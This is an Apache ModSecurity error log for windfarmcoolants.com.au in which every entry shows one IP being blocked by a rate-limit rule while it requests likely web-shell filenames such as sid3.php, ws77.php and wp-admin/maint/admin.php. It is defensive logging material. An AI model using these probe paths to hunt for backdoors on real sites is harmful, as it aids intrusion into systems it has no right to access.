[Tue Mar 24 15:13:21.146743 2026] [:error] [pid 48219:tid 48286] [client 20.251.56.73:13338] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "acI5kShf3b4R_lAIyv81lwAAAgU"]
[Tue Mar 24 15:13:21.670987 2026] [:error] [pid 64198:tid 64221] [client 20.251.56.73:13341] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acI5kXVzJqf6OS_oSZ0r-gAAAVU"]
[Tue Mar 24 15:13:22.198785 2026] [:error] [pid 64198:tid 64212] [client 20.251.56.73:13647] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acI5knVzJqf6OS_oSZ0r_AAAAUw"]
[Tue Mar 24 15:13:22.741707 2026] [:error] [pid 64198:tid 64208] [client 20.251.56.73:13337] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acI5knVzJqf6OS_oSZ0r_gAAAUg"]
[Tue Mar 24 15:13:23.324511 2026] [:error] [pid 64198:tid 64223] [client 20.251.56.73:13133] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "acI5k3VzJqf6OS_oSZ0sAwAAAVc"]
[Tue Mar 24 15:13:23.865879 2026] [:error] [pid 3137:tid 3154] [client 20.251.56.73:13655] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "acI5k5dZesutm6dfYM_PVQAAAM8"]
[Tue Mar 24 15:13:24.427154 2026] [:error] [pid 3032:tid 3116] [client 20.251.56.73:13172] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "acI5lCa_-JXXD03-JNwpmAAAAI0"]
[Tue Mar 24 15:13:24.965300 2026] [:error] [pid 64198:tid 64212] [client 20.251.56.73:13374] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "acI5lHVzJqf6OS_oSZ0sCQAAAUw"]
[Tue Mar 24 15:13:25.578079 2026] [:error] [pid 38767:tid 38781] [client 20.251.56.73:13600] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "acI5lfwkUqN4GJAI5oV8sAAAAQs"]
[Tue Mar 24 15:13:26.135358 2026] [:error] [pid 64198:tid 64224] [client 20.251.56.73:13312] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acI5lnVzJqf6OS_oSZ0sCwAAAVg"]
[Tue Mar 24 15:13:26.658592 2026] [:error] [pid 64198:tid 64211] [client 20.251.56.73:13423] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acI5lnVzJqf6OS_oSZ0sDgAAAUs"]
[Tue Mar 24 15:13:27.199792 2026] [:error] [pid 3031:tid 3095] [client 20.251.56.73:13132] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acI5l6JBKytnG47nuiYdXQAAAFM"]
[Tue Mar 24 15:13:27.818272 2026] [:error] [pid 3031:tid 3096] [client 20.251.56.73:13357] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "acI5l6JBKytnG47nuiYdXwAAAFQ"]
[Tue Mar 24 15:13:28.559739 2026] [:error] [pid 64198:tid 64217] [client 20.251.56.73:13568] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acI5mHVzJqf6OS_oSZ0sEgAAAVE"]
[Tue Mar 24 15:13:29.083977 2026] [:error] [pid 64198:tid 64221] [client 20.251.56.73:13828] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acI5mXVzJqf6OS_oSZ0sFAAAAVU"]
[Tue Mar 24 15:13:29.664505 2026] [:error] [pid 64198:tid 64215] [client 20.251.56.73:13873] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acI5mXVzJqf6OS_oSZ0sFwAAAU8"]
[Tue Mar 24 15:13:30.497645 2026] [:error] [pid 48219:tid 48287] [client 20.251.56.73:13860] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blogs.php"] [unique_id "acI5mihf3b4R_lAIyv81mwAAAgY"]
[Tue Mar 24 15:13:31.158581 2026] [:error] [pid 64198:tid 64202] [client 20.251.56.73:13420] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acI5m3VzJqf6OS_oSZ0sGgAAAUI"]
[Tue Mar 24 15:13:31.729260 2026] [:error] [pid 38767:tid 38784] [client 20.251.56.73:13680] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acI5m_wkUqN4GJAI5oV8twAAAQ4"]
[Tue Mar 24 15:13:32.371583 2026] [:error] [pid 64198:tid 64200] [client 20.251.56.73:13569] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acI5nHVzJqf6OS_oSZ0sHgAAAUA"]
[Tue Mar 24 15:13:33.857423 2026] [:error] [pid 64198:tid 64219] [client 20.251.56.73:13380] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acI5nXVzJqf6OS_oSZ0sIwAAAVM"]
[Tue Mar 24 15:13:34.653468 2026] [:error] [pid 3032:tid 3103] [client 20.251.56.73:13436] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "acI5nia_-JXXD03-JNwpnAAAAIA"]
[Tue Mar 24 15:13:35.333433 2026] [:error] [pid 64198:tid 64216] [client 20.251.56.73:13624] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "acI5n3VzJqf6OS_oSZ0sJgAAAVA"]
[Tue Mar 24 15:13:36.309736 2026] [:error] [pid 64198:tid 64220] [client 20.251.56.73:13410] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "acI5oHVzJqf6OS_oSZ0sKgAAAVQ"]
[Tue Mar 24 15:13:37.212145 2026] [:error] [pid 3032:tid 3123] [client 20.251.56.73:13629] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feokc.php"] [unique_id "acI5oSa_-JXXD03-JNwpnQAAAJQ"]
[Tue Mar 24 15:13:38.109072 2026] [:error] [pid 38767:tid 38786] [client 20.251.56.73:13928] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acI5ovwkUqN4GJAI5oV8vQAAARA"]
[Tue Mar 24 15:13:39.208991 2026] [:error] [pid 38767:tid 38771] [client 20.251.56.73:13412] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acI5o_wkUqN4GJAI5oV8wQAAAQE"]
[Tue Mar 24 15:13:39.983015 2026] [:error] [pid 3031:tid 3098] [client 20.251.56.73:13320] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acI5o6JBKytnG47nuiYdYAAAAFY"]
[Tue Mar 24 15:13:40.514505 2026] [:error] [pid 38767:tid 38782] [client 20.251.56.73:13617] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acI5pPwkUqN4GJAI5oV8xQAAAQw"]
[Tue Mar 24 15:13:41.244451 2026] [:error] [pid 38767:tid 38776] [client 20.251.56.73:13636] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acI5pfwkUqN4GJAI5oV8yAAAAQY"]
[Tue Mar 24 15:13:41.778923 2026] [:error] [pid 3137:tid 3140] [client 20.251.56.73:13601] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acI5pZdZesutm6dfYM_PWwAAAME"]
[Tue Mar 24 15:13:42.308098 2026] [:error] [pid 64198:tid 64221] [client 20.251.56.73:13439] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acI5pnVzJqf6OS_oSZ0sLQAAAVU"]
[Tue Mar 24 15:13:42.890949 2026] [:error] [pid 3031:tid 3080] [client 20.251.56.73:13649] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acI5pqJBKytnG47nuiYdYQAAAEQ"]
[Tue Mar 24 15:13:43.461945 2026] [:error] [pid 3137:tid 3151] [client 20.251.56.73:13579] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acI5p5dZesutm6dfYM_PYAAAAMw"]
[Tue Mar 24 15:13:44.015717 2026] [:error] [pid 48214:tid 48254] [client 20.251.56.73:13644] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acI5qLeshLWZ3uUDHKk5WwAAAcI"]
[Tue Mar 24 15:13:44.575337 2026] [:error] [pid 48128:tid 48150] [client 20.251.56.73:13907] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acI5qMvR4LIMFLbM5Vkb8AAAAYE"]
[Tue Mar 24 15:13:45.141346 2026] [:error] [pid 38767:tid 38772] [client 20.251.56.73:13652] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acI5qfwkUqN4GJAI5oV8zwAAAQI"]
[Tue Mar 24 15:13:45.729833 2026] [:error] [pid 64198:tid 64206] [client 20.251.56.73:13401] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acI5qXVzJqf6OS_oSZ0sPQAAAUY"]
[Tue Mar 24 15:13:46.279915 2026] [:error] [pid 3137:tid 3143] [client 20.251.56.73:13430] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acI5qpdZesutm6dfYM_PbAAAAMQ"]
[Tue Mar 24 15:13:47.047023 2026] [:error] [pid 3137:tid 3148] [client 20.251.56.73:13429] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acI5q5dZesutm6dfYM_PcQAAAMk"]
[Tue Mar 24 15:13:47.656738 2026] [:error] [pid 38767:tid 38788] [client 20.251.56.73:13400] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acI5q_wkUqN4GJAI5oV81QAAARI"]
[Tue Mar 24 15:13:48.186149 2026] [:error] [pid 38767:tid 38773] [client 20.251.56.73:13585] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24.php"] [unique_id "acI5rPwkUqN4GJAI5oV81gAAAQM"]
[Tue Mar 24 15:13:48.775826 2026] [:error] [pid 64198:tid 64216] [client 20.251.56.73:13679] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24.php"] [unique_id "acI5rHVzJqf6OS_oSZ0sXAAAAVA"]
[Tue Mar 24 15:13:49.455405 2026] [:error] [pid 38767:tid 38786] [client 20.251.56.73:13871] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24.php"] [unique_id "acI5rfwkUqN4GJAI5oV81wAAARA"]
[Tue Mar 24 15:13:50.095077 2026] [:error] [pid 64198:tid 64215] [client 20.251.56.73:13173] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/24.php"] [unique_id "acI5rnVzJqf6OS_oSZ0scAAAAU8"]
[Tue Mar 24 15:13:50.714354 2026] [:error] [pid 3032:tid 3105] [client 20.251.56.73:13391] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acI5ria_-JXXD03-JNwpoQAAAII"]
[Tue Mar 24 15:13:51.394626 2026] [:error] [pid 3137:tid 3152] [client 20.251.56.73:13398] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acI5r5dZesutm6dfYM_PegAAAM0"]
[Tue Mar 24 15:13:51.924614 2026] [:error] [pid 48219:tid 48287] [client 20.251.56.73:13891] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acI5ryhf3b4R_lAIyv81pwAAAgY"]
[Tue Mar 24 15:13:52.544802 2026] [:error] [pid 48219:tid 48284] [client 20.251.56.73:13383] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "acI5sChf3b4R_lAIyv81qQAAAgM"]
[Tue Mar 24 15:13:53.084637 2026] [:error] [pid 64198:tid 64209] [client 20.251.56.73:13177] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "acI5sXVzJqf6OS_oSZ0sfwAAAUk"]
[Tue Mar 24 15:13:53.787430 2026] [:error] [pid 64198:tid 64210] [client 20.251.56.73:13858] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "acI5sXVzJqf6OS_oSZ0sgQAAAUo"]
[Tue Mar 24 15:13:54.546720 2026] [:error] [pid 64198:tid 64205] [client 20.251.56.73:13870] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "acI5snVzJqf6OS_oSZ0shAAAAUU"]
[Tue Mar 24 15:13:55.121424 2026] [:error] [pid 64198:tid 64217] [client 20.251.56.73:13411] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "acI5s3VzJqf6OS_oSZ0shwAAAVE"]
[Tue Mar 24 15:13:55.666307 2026] [:error] [pid 64198:tid 64218] [client 20.251.56.73:13171] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acI5s3VzJqf6OS_oSZ0sigAAAVI"]
[Tue Mar 24 15:13:56.344685 2026] [:error] [pid 64198:tid 64203] [client 20.251.56.73:13425] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acI5tHVzJqf6OS_oSZ0siwAAAUM"]
